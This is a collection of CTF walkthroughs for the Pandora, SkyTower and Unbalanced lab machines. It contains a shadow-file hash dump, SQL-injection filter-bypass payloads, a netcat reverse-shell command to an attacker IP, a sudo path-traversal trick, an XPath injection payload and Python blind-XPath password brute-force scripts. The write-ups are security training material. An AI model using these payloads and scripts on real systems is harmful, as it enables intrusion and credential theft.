sync:*:18659:0:99999:7:::
games:*:18659:0:99999:7:::
man:*:18659:0:99999:7:::
lp:*:18659:0:99999:7:::
mail:*:18659:0:99999:7:::
news:*:18659:0:99999:7:::
uucp:*:18659:0:99999:7:::
proxy:*:18659:0:99999:7:::
www-data:*:18659:0:99999:7:::
backup:*:18659:0:99999:7:::
list:*:18659:0:99999:7:::
irc:*:18659:0:99999:7:::
gnats:*:18659:0:99999:7:::
nobody:*:18659:0:99999:7:::
systemd-network:*:18659:0:99999:7:::
systemd-resolve:*:18659:0:99999:7:::
systemd-timesync:*:18659:0:99999:7:::
messagebus:*:18659:0:99999:7:::
syslog:*:18659:0:99999:7:::
_apt:*:18659:0:99999:7:::
tss:*:18659:0:99999:7:::
uuidd:*:18659:0:99999:7:::
tcpdump:*:18659:0:99999:7:::
landscape:*:18659:0:99999:7:::
pollinate:*:18659:0:99999:7:::
usbmux:*:18789:0:99999:7:::
sshd:*:18789:0:99999:7:::
systemd-coredump:!!:18789::::::
matt:$6$JYpB9KogYA60PG6X$dU7jHpb3MIYYg0evztbE8Xw8dx7ok5/U0PaDT63FgQTwyJFr9DbaLa0WzeZGMFd05hrNCnoP5xTUr7Mkl2gNx1:18794:0:99999:7:::
lxd:!:18789::::::
Debian-snmp:!:18789:0:99999:7:::
mysql:!:18789:0:99999:7:::
daniel:$6$f4POti4xJyVf3/yD$7/efpNYDq.baYycVczUb4b5LlEBNami3//4TbI6lPNK2MaWPrqbdvAhLdMrfHnnZATY59rLgr4DeEZ3U8S41l/:18964:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2128.jpg)


#### Summary of knowledge

 - snmpwalk enum to get daniel's ssh password
 - ssh port forwarding
 - Pandora FMS 742 sql injection(CVE-2021-32099)
 - file upload php-reverse-shell.php to get rev shell
 - PATH highjacking to obtain root

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end pandora -->

</details>

<a id="case-skytower-1"></a>

## 过滤差异与代理内 SSH

SQL 输入过滤、代理可达性和 SSH 登录后立即退出的行为共同限定入口。原文保留绕过字符串与直接执行命令的分支。

<p class="kb-provenance">来源 SkyTower-1 · 原记录 2020-04-09 · 16 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-skytower-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start SkyTower-1 -->

#### 名称
名称：SkyTower: 1
发布日期：2014年6月26日

#### 下载

SkyTower.zip

 - Download (Mirror): https://download.vulnhub.com/skytower/SkyTower.zip
 - Download (Torrent): https://download.vulnhub.com/skytower/SkyTower.zip.torrent



#### 描述

欢迎来到SkyTower：1

该CTF靶机是由Telspace Systems在ITWeb安全峰会和BSidesCPT（开普敦）上为CTF设计的。目的是测试中级到高级的安全爱好者，使用多方面的方法攻击系统并获得“flag”的能力。

将需要跨系统和应用程序漏洞的各个方面的技能，以及对各种服务以及如何攻击它们的理解。最重要的是，渗透测试的逻辑思维和方法性方法将发挥作用，以使能够成功地攻击此系统。尝试不同的变体和方法。会发现自动化工具无法为提供帮助。

鼓励先自己尝试一下，给自己足够的时间，然后再回到下面的演练中。

请享用！
Telspace Systems
@telspacesystems

#### 信息收集

上nmap

``` bash
root@kali:~/vulnhub/SkyTower# nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.101
Host is up (0.00015s latency).
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -p- -v -sV 192.168.56.101
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
3128/tcp open     http-proxy Squid http proxy 3.1.20
```

``` bash
root@kali:~# nmap -p 22,80,3128 -v -A -T4 --script=vuln 192.168.56.101
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.101
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.101:80/
|     Form id: 
|_    Form action: login.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /login.php: Possible admin folder
|_http-server-header: Apache/2.2.22 (Debian)
| http-sql-injection: 
|   Possible sqli for forms:
|     Form at path: /, form's action: login.php. Fields that might be vulnerable:
|_      email
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3128/tcp open     http-proxy Squid http proxy 3.1.20
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-server-header: squid/3.1.20
```

在使用nmap进行主动扫描之后，发现了以下服务。ssh，http，http代理。

ssh端口已被过滤，因此只能访问http和代理。从http开始。

在对目标使用nikto和dirb之后，没有发现任何有趣的东西。

访问80端口的网站，并抓包分析

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub246.jpg)

email参数容易受到SQL注入的攻击。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub247.jpg)

但是使用sqlmap等自动化sql注入测试工具无法跑出数据，因为对sql注入语句做了过滤，需要想办法寻找payload绕过

多输入一些不同类型的字符测试发包，正如从响应中看到的那样，

``` bash
SQL会过滤“OR”可以很容易使用“||”绕过
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub248.jpg)

使用以下两个payload都可以绕过对sql注入语句中“or”的过滤

payload1

``` bash
email=' || email LIKE '%';#
```

payload2

``` bash
'oorr 1> 0＃'
```

能够绕过身份验证，并显示以下内容。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub249.jpg)

当用户登录时，会显示明确的用户名和密码，并提示您登录ssh，但端口已过滤。但是，尝试枚举Web应用程序中的所有用户。启动一个Burp intruder实例以暴力破解并枚举Web应用程序中的所有有效电子邮件，用户名和密码。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub250.jpg)

因此，得到了电子邮件，以j开头，另一个以s开头，以w开头。现在，当每封电子邮件登录时，获得了以下数据。

 - Payload used : [email=' || email LIKE 'j%';#]

``` bash
Username: john
Password: hereisjohn
```

 - Payload used : [email=' || email LIKE 'w%';#]

``` bash
Username: william
Password: senseable
```

 - Payload used : [email=' || email LIKE 's%';#]

``` bash
Username: sara
Password: ihatethisjob
```

因此，在获得SSH用户名和密码后，尝试登录并提升权限。

问题在于SSH端口已被过滤。

通过端口扫描，找到了一个代理，并使用代理链通过代理转发连接并访问ssh。

将以下行添加到/etc/proxychains.conf中

``` bash
http 192.168.56.101 3128
```

#### getshell

现在尝试通过命令行连接ssh

``` bash
root@kali:~/vulnhub/SkyTower# proxychains ssh john@127.0.0.1
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-192.168.56.101:3128-<>-127.0.0.1:1080-<--denied
|D-chain|-<>-192.168.56.101:3128-<><>-127.0.0.1:22-<><>-OK
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
john@127.0.0.1's password: 
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 07:41:08 2014

Funds have been withdrawn
Connection to 127.0.0.1 closed.
```

无法使用用户william登录。使用sara和john auto登录将关闭连接。尝试在ssh连接时执行命令。

``` bash
root@kali:~/vulnhub/SkyTower# proxychains ssh john@127.0.0.1 nc 192.168.56.102 5566 -e /bin/bash
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-192.168.56.101:3128-<>-127.0.0.1:1080-<--denied
|D-chain|-<>-192.168.56.101:3128-<><>-127.0.0.1:22-<><>-OK
Enter passphrase for key '/root/.ssh/id_rsa': 
john@127.0.0.1's password:
```

kali端使用nc监听端口，得到反弹回来的shell

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.101: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 34901
id
uid=1000(john) gid=1000(john) groups=1000(john)
whoami
john
pwd
/home/john
```

代表用户john进行枚举后没有发现任何有趣的内容，因此该切换帐户了。无法使用william登录，因此只保留了sara。以sara身份登录后，看起来sara可以使用sudo运行命令。

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.101: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 34906
id
uid=1001(sara) gid=1001(sara) groups=1001(sara)
whoami
sara
sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
```

如所见，sara可以使用sudo运行以下命令cat和ls，目录必须为/accounts/*

找到flag

``` bash
sudo /bin/cat /accounts/../../../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub251.jpg)

然后连接root账户的ssh，成功获取root权限

``` bash
root@kali:~/vulnhub/SkyTower# proxychains ssh root@127.0.0.1 -t "/bin/bash"
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-192.168.56.101:3128-<>-127.0.0.1:1080-<--denied
|D-chain|-<>-192.168.56.101:3128-<><>-127.0.0.1:22-<><>-OK
Enter passphrase for key '/root/.ssh/id_rsa': 
root@127.0.0.1's password: 
root@SkyTower:~# id
uid=0(root) gid=0(root) groups=0(root)
root@SkyTower:~# whoami
root
root@SkyTower:~# ls
flag.txt
root@SkyTower:~# cat flag.txt 
Congratz, have a cold one to celebrate!
root password is theskytower
root@SkyTower:~#
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub252.jpg)

#### 知识点总结

 - sql注入绕过过滤
 - 使用proxychains代理http-proxy连接被过滤的ssh端口

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>


















<!-- kb:end SkyTower-1 -->

</details>

<a id="case-unbalanced"></a>

## EncFS 配置与 XPath 查询

Rsync 与 EncFS 恢复代理配置，负载均衡后的不同节点影响 XPath 注入响应。Pi-hole 的后续执行与口令材料保留。

<p class="kb-provenance">来源 Unbalanced · 原记录 2020-08-17 · 32 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-unbalanced">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Unbalanced -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	01 Aug 2020
IP:	10.10.10.200

User Blood : InfoSecJack	00 days, 01 hours, 49 mins, 26 seconds.
Root Blood : snowscan	00 days, 02 hours, 09 mins, 09 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb60.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~# nmap -sC -sV -p- 10.10.10.200 -v --min-rate=10000
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
|   256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_  256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp  open  rsync      (protocol version 31)
3128/tcp open  http-proxy Squid http proxy 4.6
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Rsync

``` bash
root@kali:~/hackthebox/machine/unbalanced# nc -vn 10.10.10.200 873
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 10.10.10.200:873.
@RSYNCD: 31.0
@RSYNCD: 31.0
#list
conf_backups    EncFS-encrypted configuration backups
@RSYNCD: EXIT
exit
Ncat: Broken pipe.
```

Downloading the files:

``` bash
root@kali:~/hackthebox/machine/unbalanced# rsync -av rsync://10.10.10.200/conf_backups files
receiving incremental file list
created directory files
./
,CBjPJW4EGlcqwZW4nmVqBA6
-FjZ6-6,Fa,tMvlDsuVAO7ek
.encfs6.xml
0K72OfkNRRx3-f0Y6eQKwnjn
27FonaNT2gnNc3voXuKWgEFP4sE9mxg0OZ96NB0x4OcLo-
2VyeljxHWrDX37La6FhUGIJS
3E2fC7coj5,XQ8LbNXVX9hNFhsqCjD-g3b-7Pb5VJHx3C1
3cdBkrRF7R5bYe1ZJ0KYy786
3xB4vSQH-HKVcOMQIs02Qb9,
4J8k09nLNFsb7S-JXkxQffpbCKeKFNJLk6NRQmI11FazC1
5-6yZKVDjG4n-AMPD65LOpz6-kz,ae0p2VOWzCokOwxbt,
5FTRnQDoLdRfOEPkrhM2L29P
5IUA28wOw0wwBs8rP5xjkFSs
6R1rXixtFRQ5c9ScY8MBQ1Rg
7-dPsi7efZRoXkZ5oz1AxVd-Q,L05rofx0Mx8N2dQyUNA,
7zivDbWdbySIQARaHlm3NbC-7dUYF-rpYHSQqLNuHTVVN1
8CBL-MBKTDMgB6AT2nfWfq-e
8XDA,IOhFFlhh120yl54Q0da
8e6TAzw0xs2LVxgohuXHhWjM
9F9Y,UITgMo5zsWaP1TwmOm8EvDCWwUZurrL0TwjR,Gxl0
A4qOD1nvqe9JgKnslwk1sUzO
Acv0PEQX8vs-KdK307QNHaiF
B6J5M3OP0X7W25ITnaZX753T
Chlsy5ahvpl5Q0o3hMyUIlNwJbiNG99DxXJeR5vXXFgHC1
ECXONXBBRwhb5tYOIcjjFZzh
F4F9opY2nhVVnRgiQ,OUs-Y0
FGZsMmjhKz7CJ2r-OjxkdOfKdEip4Gx2vCDI24GXSF5eB1
FSXWRSwW6vOvJ0ExPK0fXJ6F
IymL3QugM,XxLuKEdwJJOOpi
KPYfvxIoOlrRjTY18zi8Wne-
Kb-,NDTgYevHOGdHCYsSQhhIHrUGjiM6i2JZcl,-PKAJm0
Kpo3MHQxksW2uYX79XngQu-f
KtFc,DR7HqmGdPOkM2CpLaM9
Mv5TtpmUNnVl-fgqQeYAy8uu
MxgjShAeN6AmkH2tQAsfaj6C
Ni8LDatT134DF6hhQf5ESpo5
Nlne5rpWkOxkPNC15SEeJ8g,
OFG2vAoaW3Tvv1X2J5fy4UV8
OvBqims-kvgGyJJqZ59IbGfy
StlxkG05UY9zWNHBhXxukuP9
TZGfSHeAM42o9TgjGUdOSdrd
VQjGnKU1puKhF6pQG1aah6rc
W5,ILrUB4dBVW-Jby5AUcGsz
Wr0grx0GnkLFl8qT3L0CyTE6
X93-uArUSTL,kiJpOeovWTaP
Ya30M5le2NKbF6rD-qD3M-7t
Yw0UEJYKN,Hjf-QGqo3WObHy
Z8,hYzUjW0GnBk1JP,8ghCsC
ZXUUpn9SCTerl0dinZQYwxrx
ZvkMNEBKPRpOHbGoefPa737T
a4zdmLrBYDC24s9Z59y-Pwa2
c9w3APbCYWfWLsq7NFOdjQpA
cwJnkiUiyfhynK2CvJT7rbUrS3AEJipP7zhItWiLcRVSA1
dF2GU58wFl3x5R7aDE6QEnDj
dNTEvgsjgG6lKBr8ev8Dw,p7
gK5Z2BBMSh9iFyCFfIthbkQ6
gRhKiGIEm4SvYkTCLlOQPeh-
hqZXaSCJi-Jso02DJlwCtYoz
iaDKfUAHJmdqTDVZsmCIS,Bn
jIY9q65HMBxJqUW48LJIc,Fj
kdJ5whfqyrkk6avAhlX-x0kh
kheep9TIpbbdwNSfmNU1QNk-
l,LY6YoFepcaLg67YoILNGg0
lWiv4yDEUfliy,Znm17Al41zi0BbMtCbN8wK4gHc333mt,
mMGincizgMjpsBjkhWq-Oy0D
oPu0EVyHA6,KmoI1T,LTs83x
pfTT,nZnCUFzyPPOeX9NwQVo
pn6YPUx69xqxRXKqg5B5D2ON
q5RFgoRK2Ttl3U5W8fjtyriX
qeHNkZencKDjkr3R746ZzO5K
sNiR-scp-DZrXHg4coa9KBmZ
sfT89u8dsEY4n99lNsUFOwki
uEtPZwC2tjaQELJmnNRTCLYU
vCsXjR1qQmPO5g3P3kiFyO84
waEzfb8hYE47wHeslfs1MvYdVxqTtQ8XGshJssXMmvOsZLhtJWWRX31cBfhdVygrCV5

sent 1,452 bytes  received 411,990 bytes  10,466.89 bytes/sec
total size is 405,603  speedup is 0.98
```

We can see these files are encrypted:

 - EncFS-encrypted

After searching on how to decrypt I found the following post how to decrypt the password:

 - [Breaking EncFS given .encfs6.xml](https://security.stackexchange.com/questions/98205/breaking-encfs-given-encfs6-xml)

Getting the password:

``` bash
root@kali:~# cd /usr/share/john/
root@kali:/usr/share/john# python encfs2john.py /root/hackthebox/machine/unbalanced/files/ > /root/hackthebox/machine/unbalanced/encfs6.xml.john
root@kali:/usr/share/john# john --wordlist=/usr/share/wordlists/rockyou.txt --progress-every=3 --pot=s3cwalk.pot /root/hackthebox/machine/unbalanced/encfs6.xml.john
Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 580280 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 0.00% (ETA: 2020-08-20 04:24) 0g/s 61.34p/s 61.34c/s 61.34C/s alyssa..horses
0g 0:00:00:06 0.00% (ETA: 2020-08-20 09:26) 0g/s 61.53p/s 61.53c/s 61.53C/s jeffrey..jerome
0g 0:00:00:09 0.00% (ETA: 2020-08-20 11:45) 0g/s 62.60p/s 62.60c/s 62.60C/s evelyn..flores
bubblegum        (/root/hackthebox/machine/unbalanced/files/)
1g 0:00:00:11 DONE (2020-08-17 09:53) 0.08583g/s 63.17p/s 63.17c/s 63.17C/s bambam..raquel
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

 - password is: bubblegum

 - Reading the files:

``` bash
apt-get install encfs
root@kali:~/hackthebox/machine/unbalanced# encfsctl export files decrypt
EncFS密码： 
目录decrypt不存在。
目录"decrypt" 不存在。要创建吗？(y,N) y
root@kali:~/hackthebox/machine/unbalanced# ls
decrypt  encfs6.xml.john  files
root@kali:~/hackthebox/machine/unbalanced# ls decrypt/
50-localauthority.conf              hdparm.conf                      parser.conf
50-nullbackend.conf                 host.conf                        protect-links.conf
51-debian-sudo.conf                 initramfs.conf                   reportbug.conf
70debconf                           input.conf                       resolv.conf
99-sysctl.conf                      journald.conf                    resolved.conf
access.conf                         kernel-img.conf                  rsyncd.conf
adduser.conf                        ldap.conf                        rsyslog.conf
bluetooth.conf                      ld.so.conf                       semanage.conf
ca-certificates.conf                libaudit.conf                    sepermit.conf
com.ubuntu.SoftwareProperties.conf  libc.conf                        sleep.conf
dconf                               limits.conf                      squid.conf
debconf.conf                        listchanges.conf                 sysctl.conf
debian.conf                         logind.conf                      system.conf
deluser.conf                        logrotate.conf                   time.conf
dhclient.conf                       main.conf                        timesyncd.conf
discover-modprobe.conf              mke2fs.conf                      ucf.conf
dkms.conf                           modules.conf                     udev.conf
dns.conf                            namespace.conf                   update-initramfs.conf
dnsmasq.conf                        network.conf                     user.conf
docker.conf                         networkd.conf                    user-dirs.conf
fakeroot-x86_64-linux-gnu.conf      nsswitch.conf                    Vendor.conf
framework.conf                      org.freedesktop.PackageKit.conf  wpa_supplicant.conf
fuse.conf                           PackageKit.conf                  x86_64-linux-gnu.conf
gai.conf                            pam.conf                         xattr.conf
group.conf                          pam_env.conf
```

then we get a lot of config files:

after enum it turns out we need the squid.conf

This is a huge file so use sed to grep only the active lines:

``` bash
root@kali:~/hackthebox/machine/unbalanced# sed '/^#/ d' < decrypt/squid.conf > readable.txt
root@kali:~/hackthebox/machine/unbalanced# cat readable.txt
...
a hostname: intranet.unbalanced.htb
a password: Thah$Sh1
```

got a password from squid and able to see more of the config

``` bash
root@kali:~/hackthebox/machine/unbalanced# squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
HTTP/1.1 200 OK
Server: squid/4.6
Mime-Version: 1.0
Date: Mon, 17 Aug 2020 15:07:05 GMT
Content-Type: text/plain;charset=utf-8
Expires: Mon, 17 Aug 2020 15:07:05 GMT
Last-Modified: Mon, 17 Aug 2020 15:07:05 GMT
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: close

FQDN Cache Statistics:
FQDNcache Entries In Use: 9
FQDNcache Entries Cached: 8
FQDNcache Requests: 96
FQDNcache Hits: 0
FQDNcache Negative Hits: 0
FQDNcache Misses: 96
FQDN Cache Contents:

Address                                       Flg TTL Cnt Hostnames
127.0.1.1                                       H -001   2 unbalanced.htb unbalanced
::1                                             H -001   3 localhost ip6-localhost ip6-loopback
172.31.179.2                                    H -001   1 intranet-host2.unbalanced.htb
172.31.179.3                                    H -001   1 intranet-host3.unbalanced.htb
127.0.0.1                                       H -001   1 localhost
172.17.0.1                                      H -001   1 intranet.unbalanced.htb
ff02::1                                         H -001   1 ip6-allnodes
ff02::2                                         H -001   1 ip6-allrouters
```

#### Web/proxy

访问

``` bash
http://10.10.10.200:3128/
```

squid is running on port 3128

now setup the proxy and try to see if we can see the webpage

 - intranet.unbalanced.htb

 - configure foxy proxy:

set the browser to http protocal, ip 10.10.10.200, port 3128

after set up those configures, we can access the following webpage:

``` bash
http://intranet.unbalanced.htb/intranet.php
```

after some enum we couldn't find anything interesting but when look back at the squid config we can see something odd

``` bash
172.31.179.2                                    H -001   1 intranet-host2.unbalanced.htb
172.31.179.3                                    H -001   1 intranet-host3.unbalanced.htb
```

number one is missing,when we go to

``` bash
http://172.31.179.1
```

we get the following:

``` bash
Host temporarily taken out of load balancing for security maintenance. 
```

turns out this one is running, but not in the load balance and as we can see this is for a reason.

``` bash
http://172.31.179.1/intranet.php
```

get the same page, but the login form here is vulnerable to xpath injection:

payload

``` bash
'or''='
```

then we got the following things on the page:

``` bash
rita
Rita Fubelli
rita@unbalanced.htb
Role: HR Manager

jim
Jim Mickelson
jim@unbalanced.htb
Role: Web Designer

bryan
Bryan Angstrom
bryan@unbalanced.htb
Role: System Administrator

sarah
Sarah Goodman
sarah@unbalanced.htb
Role: Team Leader
```

with the following injection we are able to bruteforce our password
in the password field:

``` bash
'or substring(Password,1,1)='p' or'
```

So everyone that has the first letter p in the password will now be displayed on the page:

write a python script to bruteforce the password, the payload must be single character at a time

crack.py

``` bash
import requests

url = 'http://172.31.179.1/intranet.php'
proxy_url = 'http://10.10.10.200:3128'
w = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*(){}:"<>?'
u = ['rita','jim','bryan','sarah']

for user in u:
    data = {'Username': '', 'Password': "' or Username='" + user + "' and substring(Password,0,1)='x"}
    request = requests.post(url, data=data, proxies={'http':proxy_url})
    b = len(request.text)
    cracked_pass = ''
    for i in range(1,80):
        found = False
        for c in w:
            data = {'Username': '', 'Password': "' or Username='" + user + "' and substring(Password," + str(i) + ",1)='" + c + ""}
            request = requests.post(url, data=data, proxies={'http':proxy_url})
            if len(request.text) != b:
                found = True
                break
        if not found:
            break
        print('Attempting User {0}'.format(user))
    print('[+]Found character: {2}'.format(user, i, c))
    cracked_pass += c
    print(cracked_pass)
```

or crack1.py script

``` bash
import requests

url = "http://172.31.179.1/intranet.php"
proxy = "http://10.10.10.200:3128"
letters = "abcdefghijklmnopqrstuvwxyz0123456789!@#$%"
users = ['sarah', 'rita', 'jim', 'bryan']

for user in users:
	data = {"Username": '', "Password": "' or username= '" + user + "'or substring(Password,1,1)='p' or'"}
	request = requests.post(url, data=data, proxies={'http':proxy})	
	length = len(request.text)	
	p4ss = ''
	for i in range(1,25):		
		for l in letters:			
			data = {"Username": '', "Password": "' or username= '" + "{}".format(user) + "'or substring(Password,{},1)='{}' or'".format(str(i),l)}
			request1 = requests.post(url, data=data, proxies={'http':proxy})
			if "{}@unbalanced.htb".format(user) in request1.text and len(request1.text) != 6756:
				print("Got hit for User '{}' - Letter is '{}'".format(user, l))
				p4ss += l
				print(str(i))
				print(str(p4ss))
				pass
```

use burp intruder to bruteforce is also a great idea,

burp setup reference to

 - [sevwalk's unbalanced walkthrough](https://www.secwalk.com/active-htb-walkthroughs/htb-walkthrough-unbalanced-10-10-10-200/)

after run those scripts, we got:

``` bash
rita:password01!
jim:stairwaytoheaven
bryan:ireallyl0vebubblegum!!!
sarah:sarah4evah'
```

after tried them all, we got bryan user loged in to ssh

and get the user flag

``` bash
root@kali:~# ssh bryan@10.10.10.200
The authenticity of host '10.10.10.200 (10.10.10.200)' can't be established.
ECDSA key fingerprint is SHA256:aiHhPmnhyt434Qvr9CpJRZOmU7m1R1LI29c11na1obY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.200' (ECDSA) to the list of known hosts.
bryan@10.10.10.200's password: 
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 17 14:16:06 2020 from 10.10.10.4
bryan@unbalanced:~$ id
uid=1000(bryan) gid=1000(bryan) groups=1000(bryan)
bryan@unbalanced:~$ whoami
bryan
bryan@unbalanced:~$ ls
TODO  user.txt
bryan@unbalanced:~$ cat user.txt
51dfe0d5a9a3981ca4fdbfee0619d773
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb61.jpg)


#### Privilege Escalation

``` bash
bryan@unbalanced:~$ cat TODO 
############                                                                                         
# Intranet #                                                                                         
############                                                                                         
* Install new intranet-host3 docker [DONE]                                                           
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]                                  
* Test intranet-host3 [DONE]                                                                         
* Add intranet-host3 to load balancer [DONE]                                                         
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]
```

There was a suspicious TODO file in Bryan’s home folder. 
What is in progress is vulnerable. 
As it is, PiHole might be the hold for privilege escalation. 
PiHole server is running in docker and it can be only accessed through the localhost. Let’s find which port it is running.

``` bash
bryan@unbalanced:~$ ss -lnpt | grep 127.0.0.1
LISTEN    0         128              127.0.0.1:8080             0.0.0.0:*       
LISTEN    0         128              127.0.0.1:5553             0.0.0.0:*       
bryan@unbalanced:~$ curl http://127.0.0.1:5553/
^C
bryan@unbalanced:~$ curl http://127.0.0.1:8080/
[ERROR]: Unable to parse results from <i>queryads.php</i>: <code>Unhandled error message (<code>Invalid domain!</code>)</code>
```

seems like I need to find a domain for the PiHole server.
Then ran the linpeas enumeration script on the server.

``` bash
172.31.179.2 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:02 STALE
172.31.11.3 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:0b:03 STALE
172.31.179.1 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:01 STALE
172.31.179.3 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:03 STALE
10.10.10.2 dev ens160 lladdr 00:50:56:b9:f9:ab REACHABLE
fe80::250:56ff:feb9:f9ab dev ens160 lladdr 00:50:56:b9:f9:ab router STALE
```

looks like we found the ip of the pi-hole webpage

``` bash
bryan@unbalanced:~$ curl 172.31.11.3

    <html><head>
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
        <link rel='stylesheet' href='/pihole/blockingpage.css' type='text/css'/>
    </head><body id='splashpage'><img src='/admin/img/logo.svg'/><br/>Pi-<b>hole</b>: Your black hole for Internet advertisements<br><a href='/admin'>Did you mean to go to the admin panel?</a></body></html>
```

turn on the proxy again , see the webpage and are able to login in with the default creds:

login with: admin
``` bash
http://172.31.11.3/admin/
```

Found the following exploit for pi-hole:

 - [Pi-hole 4.4.0 - Remote Code Execution (Authenticated)](https://www.exploit-db.com/exploits/48519)

Since the exploit is not configured to use a proxy server

we can do two things change the exploit or use ssh tunneling

``` bash
ssh -L 81:172.31.11.3:80 bryan@10.10.10.200
```

